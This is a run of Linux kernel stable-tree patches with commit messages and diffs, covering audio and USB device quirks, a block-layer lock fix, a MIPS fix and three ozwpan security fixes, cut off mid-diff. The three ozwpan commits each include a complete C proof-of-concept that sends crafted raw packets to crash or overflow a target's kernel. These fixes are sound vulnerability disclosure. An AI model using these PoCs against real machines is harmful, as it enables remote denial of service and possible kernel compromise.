Signed-off-by: Greg Kroah-Hartman --- sound/pci/hda/patch_realtek.c | 1 + 1 file changed, 1 insertion(+) diff --git a/sound/pci/hda/patch_realtek.c b/sound/pci/hda/patch_realtek.c index 444019696f85..ca2094c914a1 100644 --- a/sound/pci/hda/patch_realtek.c +++ b/sound/pci/hda/patch_realtek.c @@ -2148,6 +2148,7 @@ static const struct hda_fixup alc882_fixups[] = { static const struct snd_pci_quirk alc882_fixup_tbl[] = { SND_PCI_QUIRK(0x1025, 0x006c, "Acer Aspire 9810", ALC883_FIXUP_ACER_EAPD), SND_PCI_QUIRK(0x1025, 0x0090, "Acer Aspire", ALC883_FIXUP_ACER_EAPD), + SND_PCI_QUIRK(0x1025, 0x0107, "Acer Aspire", ALC883_FIXUP_ACER_EAPD), SND_PCI_QUIRK(0x1025, 0x010a, "Acer Ferrari 5000", ALC883_FIXUP_ACER_EAPD), SND_PCI_QUIRK(0x1025, 0x0110, "Acer Aspire", ALC883_FIXUP_ACER_EAPD), SND_PCI_QUIRK(0x1025, 0x0112, "Acer Aspire 9303", ALC883_FIXUP_ACER_EAPD), -- cgit v1.2.3 From 19f89f6cec29cd653d800b61fb354c94c2ce40e4 Mon Sep 17 00:00:00 2001 From: Wolfram Sang Date: Fri, 29 May 2015 19:50:56 +0900 Subject: ALSA: usb-audio: Add mic volume fix quirk for Logitech Quickcam Fusion commit 1ef9f0583514508bc93427106ceef3215e4eb1a5 upstream. Fix this from the logs: usb 7-1: New USB device found, idVendor=046d, idProduct=08ca ... usb 7-1: Warning! Unlikely big volume range (=3072), cval->res is probably wrong. usb 7-1: [5] FU [Mic Capture Volume] ch = 1, val = 4608/7680/1 Signed-off-by: Wolfram Sang Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman --- sound/usb/mixer.c | 1 + 1 file changed, 1 insertion(+) diff --git a/sound/usb/mixer.c b/sound/usb/mixer.c index 061be0e5fa5a..5ea5a18f3f58 100644 --- a/sound/usb/mixer.c +++ b/sound/usb/mixer.c @@ -891,6 +891,7 @@ static void volume_control_quirks(struct usb_mixer_elem_info *cval, case USB_ID(0x046d, 0x081d): /* HD Webcam c510 */ case USB_ID(0x046d, 0x0825): /* HD Webcam c270 */ case USB_ID(0x046d, 0x0826): /* HD Webcam c525 */ + case USB_ID(0x046d, 0x08ca): /* Logitech Quickcam Fusion */ case USB_ID(0x046d, 0x0991): /* Most audio usb devices lie about volume resolution. * Most Logitech webcams have res = 384. -- cgit v1.2.3 From c24f1e7c07b48d9b36e6e370caceb7b7d75a976f Mon Sep 17 00:00:00 2001 From: Clemens Ladisch Date: Wed, 3 Jun 2015 11:36:42 +0200 Subject: ALSA: usb-audio: add MAYA44 USB+ mixer control names commit 044bddb9ca8d49edb91bc22b9940a463b0dbb97f upstream. Add mixer control names for the ESI Maya44 USB+ (which appears to be identical width the AudioTrak Maya44 USB). Reported-by: nightmixes Signed-off-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman --- sound/usb/mixer_maps.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/sound/usb/mixer_maps.c b/sound/usb/mixer_maps.c index 4df31b0f94a3..d06fbd9f7cbe 100644 --- a/sound/usb/mixer_maps.c +++ b/sound/usb/mixer_maps.c @@ -417,6 +417,11 @@ static struct usbmix_ctl_map usbmix_ctl_maps[] = { .id = USB_ID(0x200c, 0x1018), .map = ebox44_map, }, + { + /* MAYA44 USB+ */ + .id = USB_ID(0x2573, 0x0008), + .map = maya44_map, + }, { /* KEF X300A */ .id = USB_ID(0x27ac, 0x1000), -- cgit v1.2.3 From 615719057c4c7aad498126dd0339ba7810140a8e Mon Sep 17 00:00:00 2001 From: Hans de Goede Date: Tue, 2 Jun 2015 10:40:50 -0700 Subject: Input: elantech - fix detection of touchpads where the revision matches a known rate MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 5f0ee9d17aae628b22be86966471db65be21f262 upstream. Make the check to skip the rate check more lax, so that it applies to all hw_version 4 models. This fixes the touchpad not being detected properly on Asus PU551LA laptops. Reported-and-tested-by: David Zafra Gómez Signed-off-by: Hans de Goede Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman --- drivers/input/mouse/elantech.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/drivers/input/mouse/elantech.c b/drivers/input/mouse/elantech.c index dbd4f5ad3343..02099afb6c79 100644 --- a/drivers/input/mouse/elantech.c +++ b/drivers/input/mouse/elantech.c @@ -1241,10 +1241,11 @@ static bool elantech_is_signature_valid(const unsigned char *param) return true; /* - * Some models have a revision higher then 20. Meaning param[2] may - * be 10 or 20, skip the rates check for these. + * Some hw_version >= 4 models have a revision higher then 20. Meaning + * that param[2] may be 10 or 20, skip the rates check for these. */ - if (param[0] == 0x46 && (param[1] & 0xef) == 0x0f && param[2] < 40) + if ((param[0] & 0x0f) >= 0x06 && (param[1] & 0xaf) == 0x0f && + param[2] < 40) return true; for (i = 0; i < ARRAY_SIZE(rates); i++) -- cgit v1.2.3 From 96ebd8584aaa9b0f4eac8a922766c900a7495426 Mon Sep 17 00:00:00 2001 From: Dan Williams Date: Wed, 10 Jun 2015 23:47:14 -0400 Subject: block: fix ext_dev_lock lockdep report commit 4d66e5e9b6d720d8463e11d027bd4ad91c8b1318 upstream. ================================= [ INFO: inconsistent lock state ] 4.1.0-rc7+ #217 Tainted: G O --------------------------------- inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage. swapper/6/0 [HC0[0]:SC1[1]:HE1:SE0] takes: (ext_devt_lock){+.?...}, at: [] blk_free_devt+0x3c/0x70 {SOFTIRQ-ON-W} state was registered at: [] __lock_acquire+0x461/0x1e70 [] lock_acquire+0xb7/0x290 [] _raw_spin_lock+0x38/0x50 [] blk_alloc_devt+0x6d/0xd0 <-- take the lock in process context [..] [] __lock_acquire+0x3fe/0x1e70 [] ? __lock_acquire+0xe5d/0x1e70 [] lock_acquire+0xb7/0x290 [] ? blk_free_devt+0x3c/0x70 [] _raw_spin_lock+0x38/0x50 [] ? blk_free_devt+0x3c/0x70 [] blk_free_devt+0x3c/0x70 <-- take the lock in softirq [] part_release+0x1c/0x50 [] device_release+0x36/0xb0 [] kobject_cleanup+0x7b/0x1a0 [] kobject_put+0x30/0x70 [] put_device+0x17/0x20 [] delete_partition_rcu_cb+0x16c/0x180 [] ? read_dev_sector+0xa0/0xa0 [] rcu_process_callbacks+0x2ff/0xa90 [] ? rcu_process_callbacks+0x2bf/0xa90 [] __do_softirq+0xde/0x600 Neil sees this in his tests and it also triggers on pmem driver unbind for the libnvdimm tests. This fix is on top of an initial fix by Keith for incorrect usage of mutex_lock() in this path: 2da78092dda1 "block: Fix dev_t minor allocation lifetime". Both this and 2da78092dda1 are candidates for -stable. Fixes: 2da78092dda1 ("block: Fix dev_t minor allocation lifetime") Cc: Keith Busch Reported-by: NeilBrown Signed-off-by: Dan Williams Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman --- block/genhd.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/block/genhd.c b/block/genhd.c index 7694dffe9f0e..b09f5fc94dee 100644 --- a/block/genhd.c +++ b/block/genhd.c @@ -422,9 +422,9 @@ int blk_alloc_devt(struct hd_struct *part, dev_t *devt) /* allocate ext devt */ idr_preload(GFP_KERNEL); - spin_lock(&ext_devt_lock); + spin_lock_bh(&ext_devt_lock); idx = idr_alloc(&ext_devt_idr, part, 0, NR_EXT_DEVT, GFP_NOWAIT); - spin_unlock(&ext_devt_lock); + spin_unlock_bh(&ext_devt_lock); idr_preload_end(); if (idx < 0) @@ -449,9 +449,9 @@ void blk_free_devt(dev_t devt) return; if (MAJOR(devt) == BLOCK_EXT_MAJOR) { - spin_lock(&ext_devt_lock); + spin_lock_bh(&ext_devt_lock); idr_remove(&ext_devt_idr, blk_mangle_minor(MINOR(devt))); - spin_unlock(&ext_devt_lock); + spin_unlock_bh(&ext_devt_lock); } } @@ -691,13 +691,13 @@ struct gendisk *get_gendisk(dev_t devt, int *partno) } else { struct hd_struct *part; - spin_lock(&ext_devt_lock); + spin_lock_bh(&ext_devt_lock); part = idr_find(&ext_devt_idr, blk_mangle_minor(MINOR(devt))); if (part && get_disk(part_to_disk(part))) { *partno = part->partno; disk = part_to_disk(part); } - spin_unlock(&ext_devt_lock); + spin_unlock_bh(&ext_devt_lock); } return disk; -- cgit v1.2.3 From 0848ca6c89f4418b1460f43544b5384a8b145106 Mon Sep 17 00:00:00 2001 From: "John D. Blair" Date: Thu, 4 Jun 2015 13:18:19 -0700 Subject: USB: cp210x: add ID for HubZ dual ZigBee and Z-Wave dongle commit df72d588c54dad57dabb3cc8a87475d8ed66d806 upstream. Added the USB serial device ID for the HubZ dual ZigBee and Z-Wave radio dongle. Signed-off-by: John D. Blair Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman --- drivers/usb/serial/cp210x.c | 1 + 1 file changed, 1 insertion(+) diff --git a/drivers/usb/serial/cp210x.c b/drivers/usb/serial/cp210x.c index 691a82105180..ab1c5e8ac27f 100644 --- a/drivers/usb/serial/cp210x.c +++ b/drivers/usb/serial/cp210x.c @@ -128,6 +128,7 @@ static const struct usb_device_id id_table[] = { { USB_DEVICE(0x10C4, 0x8946) }, /* Ketra N1 Wireless Interface */ { USB_DEVICE(0x10C4, 0x8977) }, /* CEL MeshWorks DevKit Device */ { USB_DEVICE(0x10C4, 0x8998) }, /* KCF Technologies PRN */ + { USB_DEVICE(0x10C4, 0x8A2A) }, /* HubZ dual ZigBee and Z-Wave dongle */ { USB_DEVICE(0x10C4, 0xEA60) }, /* Silicon Labs factory default */ { USB_DEVICE(0x10C4, 0xEA61) }, /* Silicon Labs factory default */ { USB_DEVICE(0x10C4, 0xEA70) }, /* Silicon Labs factory default */ -- cgit v1.2.3 From dc320d50095c8e3448fbf4c815e2c244852855bf Mon Sep 17 00:00:00 2001 From: Patrick Riphagen Date: Tue, 19 May 2015 10:03:01 +0200 Subject: USB: serial: ftdi_sio: Add support for a Motion Tracker Development Board commit 1df5b888f54070a373a73b34488cc78c2365b7b4 upstream. This adds support for new Xsens device, Motion Tracker Development Board, using Xsens' own Vendor ID Signed-off-by: Patrick Riphagen Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman --- drivers/usb/serial/ftdi_sio.c | 1 + drivers/usb/serial/ftdi_sio_ids.h | 1 + 2 files changed, 2 insertions(+) diff --git a/drivers/usb/serial/ftdi_sio.c b/drivers/usb/serial/ftdi_sio.c index 4d918d5f945a..b55e5f3a311d 100644 --- a/drivers/usb/serial/ftdi_sio.c +++ b/drivers/usb/serial/ftdi_sio.c @@ -715,6 +715,7 @@ static struct usb_device_id id_table_combined [] = { { USB_DEVICE(XSENS_VID, XSENS_AWINDA_DONGLE_PID) }, { USB_DEVICE(XSENS_VID, XSENS_AWINDA_STATION_PID) }, { USB_DEVICE(XSENS_VID, XSENS_CONVERTER_PID) }, + { USB_DEVICE(XSENS_VID, XSENS_MTDEVBOARD_PID) }, { USB_DEVICE(XSENS_VID, XSENS_MTW_PID) }, { USB_DEVICE(FTDI_VID, FTDI_OMNI1509) }, { USB_DEVICE(MOBILITY_VID, MOBILITY_USB_SERIAL_PID) }, diff --git a/drivers/usb/serial/ftdi_sio_ids.h b/drivers/usb/serial/ftdi_sio_ids.h index e906b6aa2424..99316d7cfc03 100644 --- a/drivers/usb/serial/ftdi_sio_ids.h +++ b/drivers/usb/serial/ftdi_sio_ids.h @@ -155,6 +155,7 @@ #define XSENS_AWINDA_STATION_PID 0x0101 #define XSENS_AWINDA_DONGLE_PID 0x0102 #define XSENS_MTW_PID 0x0200 /* Xsens MTw */ +#define XSENS_MTDEVBOARD_PID 0x0300 /* Motion Tracker Development Board */ #define XSENS_CONVERTER_PID 0xD00D /* Xsens USB-serial converter */ /* Xsens devices using FTDI VID */ -- cgit v1.2.3 From 61a5c6bf34e4fe4e64b233b612bf7b41ca2ac50e Mon Sep 17 00:00:00 2001 From: Wang Long Date: Wed, 10 Jun 2015 08:12:37 +0000 Subject: ring-buffer-benchmark: Fix the wrong sched_priority of producer commit 108029323910c5dd1ef8fa2d10da1ce5fbce6e12 upstream. The producer should be used producer_fifo as its sched_priority, so correct it. Link: http://lkml.kernel.org/r/1433923957-67842-1-git-send-email-long.wanglong@huawei.com Signed-off-by: Wang Long Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman --- kernel/trace/ring_buffer_benchmark.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/kernel/trace/ring_buffer_benchmark.c b/kernel/trace/ring_buffer_benchmark.c index a5457d577b98..6ad2e2d320fe 100644 --- a/kernel/trace/ring_buffer_benchmark.c +++ b/kernel/trace/ring_buffer_benchmark.c @@ -455,7 +455,7 @@ static int __init ring_buffer_benchmark_init(void) if (producer_fifo >= 0) { struct sched_param param = { - .sched_priority = consumer_fifo + .sched_priority = producer_fifo }; sched_setscheduler(producer, SCHED_FIFO, ¶m); } else -- cgit v1.2.3 From 4c90e05ef7ecbe9f56743c1018a41962f6242d1d Mon Sep 17 00:00:00 2001 From: James Hogan Date: Thu, 4 Jun 2015 13:25:27 +0100 Subject: MIPS: Fix enabling of DEBUG_STACKOVERFLOW commit 5f35b9cd553fd64415b563497d05a563c988dbd6 upstream. Commit 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") added kernel stack overflow detection, however it only enabled it conditional upon the preprocessor definition DEBUG_STACKOVERFLOW, which is never actually defined. The Kconfig option is called DEBUG_STACKOVERFLOW, which manifests to the preprocessor as CONFIG_DEBUG_STACKOVERFLOW, so switch it to using that definition instead. Fixes: 334c86c494b9 ("MIPS: IRQ: Add stackoverflow detection") Signed-off-by: James Hogan Cc: Ralf Baechle Cc: Adam Jiang Cc: linux-mips@linux-mips.org Patchwork: http://patchwork.linux-mips.org/patch/10531/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman --- arch/mips/kernel/irq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/mips/kernel/irq.c b/arch/mips/kernel/irq.c index d1fea7a054be..7479d8d847a6 100644 --- a/arch/mips/kernel/irq.c +++ b/arch/mips/kernel/irq.c @@ -110,7 +110,7 @@ void __init init_IRQ(void) #endif } -#ifdef DEBUG_STACKOVERFLOW +#ifdef CONFIG_DEBUG_STACKOVERFLOW static inline void check_stack_overflow(void) { unsigned long sp; -- cgit v1.2.3 From 1804b143741015f6ddbc41cdacc1f1bb53082206 Mon Sep 17 00:00:00 2001 From: "Jason A. Donenfeld" Date: Fri, 29 May 2015 13:06:58 +0200 Subject: ozwpan: Use proper check to prevent heap overflow commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream. Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman --- drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c index 4e4b650fee3f..9d917c509ec0 100644 --- a/drivers/staging/ozwpan/ozusbsvc1.c +++ b/drivers/staging/ozwpan/ozusbsvc1.c @@ -376,10 +376,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) case OZ_GET_DESC_RSP: { struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; - int data_len = elt->length - - sizeof(struct oz_get_desc_rsp) + 1; - u16 offs = le16_to_cpu(get_unaligned(&body->offset)); - u16 total_size = + u16 offs, total_size; + u8 data_len; + + if (elt->length < sizeof(struct oz_get_desc_rsp) - 1) + break; + data_len = elt->length - + (sizeof(struct oz_get_desc_rsp) - 1); + offs = le16_to_cpu(get_unaligned(&body->offset)); + total_size = le16_to_cpu(get_unaligned(&body->total_size)); oz_trace("USB_REQ_GET_DESCRIPTOR - cnf\n"); oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id, -- cgit v1.2.3 From 8ca9ab667d0a0258c1df4f3d41de988c9648f6f5 Mon Sep 17 00:00:00 2001 From: "Jason A. Donenfeld" Date: Fri, 29 May 2015 13:07:00 +0200 Subject: ozwpan: divide-by-zero leading to panic commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream. A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman --- drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c index 9d917c509ec0..6547e39d1d5a 100644 --- a/drivers/staging/ozwpan/ozusbsvc1.c +++ b/drivers/staging/ozwpan/ozusbsvc1.c @@ -314,7 +314,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr; u8 *data = body->data; - int n = (len - sizeof(struct oz_multiple_fixed)+1) + int n; + if (!body->unit_size) + break; + n = (len - sizeof(struct oz_multiple_fixed)+1) / body->unit_size; while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, -- cgit v1.2.3 From 1c9daa06f9eff275bf2320a734db2bda9e3b1107 Mon Sep 17 00:00:00 2001 From: "Jason A. Donenfeld" Date: Fri, 29 May 2015 13:07:01 +0200 Subject: ozwpan: unchecked signed subtraction leads to DoS commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream. The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) - 3 }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 1, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld Acked-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman --- drivers/staging/ozwpan/ozusbsvc1.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c index 6547e39d1d5a..d4f55b08ef78 100644 --- a/drivers/staging/ozwpan/ozusbsvc1.c +++ b/drivers/staging/ozwpan/ozusbsvc1.c @@ -314,10 +314,11 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr; u8 *data = body->data; - int n; - if (!body->unit_size) + unsigned int n; + if (!body->unit_size || + len < sizeof(struct oz_multiple_fixed) - 1) break; - n = (len - sizeof(struct oz_multiple_fixed)+1) 